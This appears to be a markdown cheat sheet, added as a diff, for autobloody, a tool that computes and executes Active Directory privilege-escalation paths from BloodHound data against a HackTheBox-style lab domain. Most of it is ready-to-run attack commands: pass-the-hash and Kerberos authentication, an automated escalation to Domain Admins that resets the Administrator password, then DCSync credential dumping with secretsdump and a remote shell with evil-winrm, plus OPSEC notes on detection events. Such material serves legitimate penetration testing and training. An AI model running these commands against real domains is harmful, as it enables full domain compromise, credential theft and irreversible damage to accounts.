+> **Note β€” Neo4j is a hard prerequisite.** autobloody plans over a running Neo4j that already holds BloodHound-ingested data. Install the Neo4j **GDS** (Graph Data Science) library for markedly faster pathfinding on large graphs. See section 3.
+
+## 3. Prerequisites & Setup
+
+Three things must be true before autobloody can plan and execute: Neo4j is up with the graph loaded, the start/target labels exist in that graph, and you actually hold the start principal's credentials.
+
+**1. Start Neo4j:**
+
+```bash
+sudo neo4j start
+```
+
+**2. Collect and ingest the graph (bloodhound-python β†’ BloodHound β†’ Neo4j):**
+
+```bash
+bloodhound-python -d sequel.htb -u ryan -p 'Passw0rd!' -ns 10.10.11.51 -c All --zip
+```
+
+**3. Confirm the exact node labels exist (labels are case-sensitive):**
+
+```bash
+cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n) WHERE n.name IN ['RYAN@SEQUEL.HTB','DOMAIN ADMINS@SEQUEL.HTB'] RETURN n.name"
+```
+
+**4. (Optional) Mark the start node Owned:**
+
+```bash
+cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n {name:'RYAN@SEQUEL.HTB'}) SET n.owned = true"
+```
+
+Marking the start Owned is good BloodHound hygiene, but v1.1.0 selects the start explicitly with `-ds`, so the Owned flag is not strictly required β€” the label just has to exist and match. You must supply the start principal's own creds (`-u`/`-p`, `-k`, or `-c`): bloodyAD performs every write *as that identity*, so if `-ds` is `RYAN@SEQUEL.HTB` you authenticate as `ryan`.
+
+> **Warning β€” BloodHound CE vs legacy is not turnkey.** autobloody queries a Neo4j graph in the **legacy** BloodHound schema, and the README only hints at CE support via a *separate repository/branch*. Treat CE as conditional: ingest with legacy BloodHound for the main tool, and always verify your labels resolve with the `cypher-shell` check above before trusting a "no path" result.
+
+## 4. Authentication
+
+The auth block is bloodyAD's, plus the three required DB flags (`-ds`, `-dt`, `-dp`) on every line so each command is runnable as-is. Pick the line matching your creds.
+
+**Cleartext password:**
+
+```bash
+autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+**Pass-the-Hash (`LMHASH:NTHASH`):**
+
+```bash
+autobloody -d sequel.htb -u ryan -p 'aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+**Kerberos with an existing ccache:**
+
+```bash
+export KRB5CCNAME=/home/kali/ryan.ccache
+autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+**Kerberos, request the TGT from a password:**
+
+```bash
+autobloody -k -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+**LDAPS (TLS) β€” prefer this so writes aren't cleartext:**
+
+```bash
+autobloody -s -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+**Certificate (Schannel client-cert over LDAPS):**
+
+```bash
+autobloody -s -c 'ryan_key.pem:ryan_cert.pem' -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+`-c` selects certificate auth; its value is bloodyAD's `key:cert` pair (PEM key, then cert). Confirm the exact order/separator with `autobloody -h` if auth fails.
+
+**Kerberos over LDAPS, wrapped in faketime to defeat DC clock skew:**
+
+```bash
+faketime "$(ntpdate -q dc01.sequel.htb | cut -d ' ' -f 1,2)" autobloody -k -s -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+> **Warning β€” Kerberos clock skew.** `-k` throwing `KRB_AP_ERR_SKEW`? Wrap the whole command in faketime, exactly as with bloodyAD:
+> ```bash
+> faketime -f '+7h30m' autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+> ```
+
+## 5. Flag Reference
+
+autobloody's own flags drive Neo4j and the run; the rest are bloodyAD's auth flags, inherited verbatim.
+
+### autobloody & Neo4j flags
+
+| Flag | Meaning |
+| :-- | :-- |
+| `-ds`, `--dbsource` | Case-sensitive BloodHound label of the owned **start** node, e.g. `RYAN@SEQUEL.HTB` (required; replaces the old `--setstart`) |
+| `-dt`, `--dbtarget` | Case-sensitive BloodHound label of the **target** node, e.g. `DOMAIN ADMINS@SEQUEL.HTB` (required; replaces the old `--settarget`) |
+| `-dp`, `--dbpassword` | Neo4j password (required) |
+| `-du`, `--dbuser` | Neo4j username (default `neo4j`) |
+| `--dburi` | Neo4j Bolt URI (default `bolt://localhost:7687`) |
+| `-y`, `--yes` | Auto-apply the path β€” skip the pre-apply confirmation prompt |
+| `-v` / `-vv` | Verbosity: `-v` = INFO, `-vv` = DEBUG (count-based; replaces the old `-v {QUIET,INFO,DEBUG}`) |
+| `--timeout` | Connection timeout in seconds (default `60`) |
+| `-h`, `--help` | Show help and exit |
+
+### Inherited bloodyAD auth flags
+
+| Flag | Meaning |
+| :-- | :-- |
+| `--host` | DC hostname **or** IP (required) β€” there is no separate `--dc-ip` |
+| `-d`, `--domain` | Domain for NTLM auth |
+| `-u`, `--username` | Controlled start principal |
+| `-p`, `--password` | Cleartext password or `LMHASH:NTHASH` |
+| `-k`, `--kerberos` | Kerberos auth (wrap in faketime on clock skew) |
+| `-c`, `--certificate` | Certificate-based auth; value is bloodyAD's `key:cert` pair (verify exact order/separator with `autobloody -h`) |
+| `-s`, `--secure` | LDAP over TLS (LDAPS) |
+
+> **Note β€” The old interface changed.** v1.1.0 renamed start/target to `-ds`/`-dt` (case-sensitive labels), made verbosity count-based (`-v`/`-vv`), and **removed `--no-rollback`** β€” rollback is now automatic and partial (section 10). `--host` takes a hostname or an IP; there is no `--dc-ip`.
+
+## 6. Core Usage
+
+One command computes the path and executes it. Start from the canonical form and add flags as needed.
+
+**Canonical one-liner β€” start β†’ target, all DB constants explicit:**
+
+```bash
+autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb --dburi bolt://localhost:7687 -du neo4j -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+**Verbose β€” watch each edge fire (DEBUG):**
+
+```bash
+autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB' -vv
+```
+
+**Auto-apply β€” skip the confirmation prompt (closest thing to the retired `--no-rollback`, but rollback still runs):**
+
+```bash
+autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB' -y -vv
+```
+
+**Non-default Neo4j host + longer timeout for a large graph:**
+
+```bash
+autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb --dburi bolt://127.0.0.1:7687 -du neo4j -dp 'neo4jpass' --timeout 120 -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB'
+```
+
+Default behaviour prompts once, after printing the path, before any write β€” read the plan, then confirm. `-y` removes that gate, so use it only when you have already reviewed the path and accept that a `ForceChangePassword`/`setOwner` hop will persist.
+
+> **Warning β€” `-y` fires writes with no prompt.** With `-y` autobloody executes the whole path immediately. If the cheapest path runs through a password reset on a real account, that account's password changes for good (rollback won't restore it). On an engagement, review the path first and coordinate before auto-applying.
+
+## 7. Worked Example β€” RYAN β†’ Domain Admins
+
+Escalate `ryan` to Domain Admins on a sequel.htb-style box. autobloody finds the path, you confirm, it walks each edge, then it rolls back what it can.
+
+**1. Run it (verbose so the plan and each edge are visible):**
+
+```bash
+autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' -v
+```
+
+Output (illustrative):
+
+```text
+[*] Neo4j: connected to bolt://localhost:7687
+[*] Pathfinding RYAN@SEQUEL.HTB -> DOMAIN ADMINS@SEQUEL.HTB
+[+] Shortest path found β€” 3 edges, total cost 3.0:
+      RYAN@SEQUEL.HTB
+        --(AddSelf)-->       MANAGEMENT@SEQUEL.HTB
+        --(GenericAll)-->    ADMINISTRATOR@SEQUEL.HTB
+        --(MemberOf)-->      DOMAIN ADMINS@SEQUEL.HTB
+[?] Execute this path against dc01.sequel.htb? [y/N] y
+[*] 1/3  AddSelf       -> add RYAN to MANAGEMENT@SEQUEL.HTB
+[+]      RYAN is now a member of MANAGEMENT
+[*] 2/3  GenericAll    -> ForceChangePassword on ADMINISTRATOR@SEQUEL.HTB
+[+]      ADMINISTRATOR password set to: aUtoBl00dy_9f3c!
+[*] 3/3  MemberOf      -> ADMINISTRATOR already in DOMAIN ADMINS (no write)
+[+] Target reached: RYAN -> DOMAIN ADMINS via ADMINISTRATOR
+[*] Rolling back reversible writes...
+[+]      reverted AddSelf: removed RYAN from MANAGEMENT
+[!]      kept ForceChangePassword on ADMINISTRATOR (not reversible)
+[*] Done in 4.1s
+```
+
+**2. Authenticate as the target.** The group add was rolled back, but the password reset was not β€” so your foothold is Administrator's new password. Validate it:
+
+```bash
+netexec smb 10.10.11.51 -u administrator -p 'aUtoBl00dy_9f3c!'
+```
+
+**3. Dump the domain (DCSync):**
+
+```bash
+secretsdump.py sequel.htb/administrator:'aUtoBl00dy_9f3c!'@10.10.11.51
+```
+
+**4. Or take an interactive shell:**
+
+```bash
+evil-winrm -i dc01.sequel.htb -u administrator -p 'aUtoBl00dy_9f3c!'
+```
+
+> **Warning β€” The lasting change is the one it can't undo.** In this run the durable access comes from the irreversible `ForceChangePassword`, not the rolled-back group add. That reset **breaks Administrator's real password** β€” note the original/DR where you can, and prefer a reversible edge (shadow credentials via bloodyAD by hand) when stealth or account continuity matters.
+
+## 8. Pathfinding β€” Executable Edges
+
+autobloody only walks edges bloodyAD can turn into an LDAP write. If Stage 1's cheapest path relies on a non-writable edge, autobloody cannot execute it β€” you bridge that hop by hand, then re-run from the new node.
+
+| BloodHound edge | autobloody | Why |
+| :-- | :-- | :-- |
+| `GenericAll` / `GenericWrite` | executes | DACL / attribute write |
+| `WriteDacl` / `WriteOwner` / `Owns` | executes | rewrite DACL / take ownership (`setOwner` not rolled back) |
+| `ForceChangePassword` | executes | password reset (not rolled back) |
+| `AddMembers` / `AddSelf` / `MemberOf` | executes | group `member` write |
+| `AllExtendedRights` | executes | extended-rights write |
+| `DCSync` (`GetChanges` / `GetChangesAll`) | executes | grant / replicate secrets |
+| `Contains` | executes | container write |
+| `ReadGMSAPassword` | executes | read the managed password |
+| `AdminTo` / `HasSession` | skipped | host-level, not a directory ACL |
+| `CanRDP` / `CanPSRemote` / `ExecuteDCOM` | skipped | access right, no LDAP primitive |
+| `SQLAdmin` / `HasSIDHistory` / `GPLink` | skipped | no bloodyAD write for it |
+
+To fire any single edge by hand β€” or to bridge a `skipped` hop before re-running β€” use the ACL Edge Playbook in the BloodyAD sheet, which maps each BloodHound edge to the exact `bloodyAD` command.
+
+## 9. Troubleshooting
+
+Most failures are Neo4j, labels, or the clock β€” in that order.
+
+**Neo4j connection refused / auth failure.** Confirm the service is up and the Bolt URI and creds are right; test independently:
+
+```bash
+cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "RETURN 1"
+```
+
+Pass a non-default location with `--dburi`, `-du`, `-dp`; raise `--timeout` on a slow or large DB.
+
+**"No path found" / empty result.** Almost always the labels. `-ds`/`-dt` are **case-sensitive** and must match BloodHound exactly β€” UPPERCASE `NAME@DOMAIN`, groups spelled in full (`DOMAIN ADMINS@SEQUEL.HTB`). Verify:
+
+```bash
+cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n {name:'DOMAIN ADMINS@SEQUEL.HTB'}) RETURN n.name"
+```
+
+If the labels are right and there is still no path, no *all-writable* route exists β€” every candidate path leans on a non-executable edge (section 8). Widen collection (`-c All`) and re-ingest, or bridge the missing hop manually.
+
+**Kerberos `KRB_AP_ERR_SKEW`.** DC clock skew. Wrap the run in faketime:
+
+```bash
+faketime "$(ntpdate -q dc01.sequel.htb | cut -d ' ' -f 1,2)" autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
+```
+
+**A path step "cannot be exploited".** Stage 1 handed Stage 2 an edge bloodyAD can't write (e.g. `AdminTo`). autobloody stops at that hop. Perform it out-of-band β€” pivot onto the host, or use the sibling technique β€” then re-run autobloody with `-ds` set to the node you now control.
+
+## 10. OPSEC & Cleanup
+
+autobloody's writes are bloodyAD's writes; they generate the same directory events, and its rollback is automatic but incomplete. The event IDs below are general, indicative AD telemetry β€” not autobloody-specific β€” and exact IDs vary; group-membership events in particular depend on group scope (e.g. `4728` global, `4756` universal, `4732` domain-local).
+
+> **Warning β€” Reverse what autobloody won't.** Rollback runs by default and undoes reversible writes (group adds, DACL grants, shadow-cred links), but per the README it cleans only what is reversible β€” everything except the `ForcePasswordChange` and `setOwner` operations. In BloodHound terms that leaves the `ForceChangePassword` password reset and any ownership takeover in place. After any run that used those edges, clean up by hand: restore/reset the password to an agreed value and hand ownership back with `bloodyAD set owner`. There is no `--no-rollback`; `-y` only skips the prompt.
+
+| Action (edge) | Log | Noise |
+| :-- | :-- | :-- |
+| DACL / owner write (`GenericAll`/`WriteDacl`/`WriteOwner`/`Owns`) | 5136 / 4662 | Medium |
+| Shadow-cred write (`GenericWrite`/`GenericAll` on a user) | 5136 (`msDS-KeyCredentialLink`) | Medium |
+| Password reset (`ForceChangePassword`) β€” not rolled back | 4724 / 4738 | High |
+| Group add (`AddMembers`/`AddSelf`) | 4728 / 4756 (scope-dependent) | Medium |
+| DCSync grant on the domain | 5136 on domain object | High |
+| Stage-1 pathfinding (Neo4j, local) | none on the DC | None |
+
+Prefer `-s` (LDAPS) so the writes aren't in cleartext, keep the confirmation prompt (don't reflexively `-y`) so you can bail before an irreversible hop, and remember Stage 1 is entirely local β€” nothing hits the DC until you confirm the plan.
+
+## Sources
+
+- autobloody (CravateRouge): https://github.com/CravateRouge/autobloody
+- autobloody on PyPI: https://pypi.org/project/autobloody/
+- BloodyAD Wiki: https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
+- Kali tool page (bloodyAD): https://www.kali.org/tools/bloodyad/
+- BloodHound-CE docs: https://bloodhound.specterops.io/